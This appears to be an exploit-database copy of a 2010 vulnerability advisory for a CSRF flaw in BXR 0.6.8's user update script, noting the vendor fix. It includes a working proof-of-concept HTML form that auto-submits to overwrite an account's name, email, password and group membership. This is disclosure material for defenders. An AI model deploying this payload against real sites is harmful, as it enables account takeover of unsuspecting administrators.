BXR v0.6.8 CSRF Vulnerability

2010-08-05T00:00:00
ID 1337DAY-ID-13590
Type zdt
Reporter High-Tech Bridge
Modified 2010-08-05T00:00:00

Description

Exploit for php platform in category web applications

                                        
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BXR v0.6.8 CSRF Vulnerability
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Vulnerability ID: HTB22503
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bxr.html
Product: BXR
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr )
Vulnerable Version: 0.6.8 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
The vulnerability exists due to failure in the "/user/update" script to properly verify the source of HTTP request.
 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
Attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://host/user/update/1" method="post" name="main" >
 
<input type="hidden" name="user[name]" value="admin" />
<input type="hidden" name="user[email]" value="myemail (at) example (dot) com [email concealed]" />
<input type="hidden" name="user[password]" value="123" />
<input type="hidden" name="user[password_confirmation]" value="123" />
<input type="hidden" name="belongs_to_group[1]" value="yes" />
<input type="hidden" name="user[default_folder_id]" value="1" />
<input type="hidden" name="commit" value="Save" />
 
</form>
<script>
document.main.submit();
</script>
 
Solution: Upgrade to the most recent version



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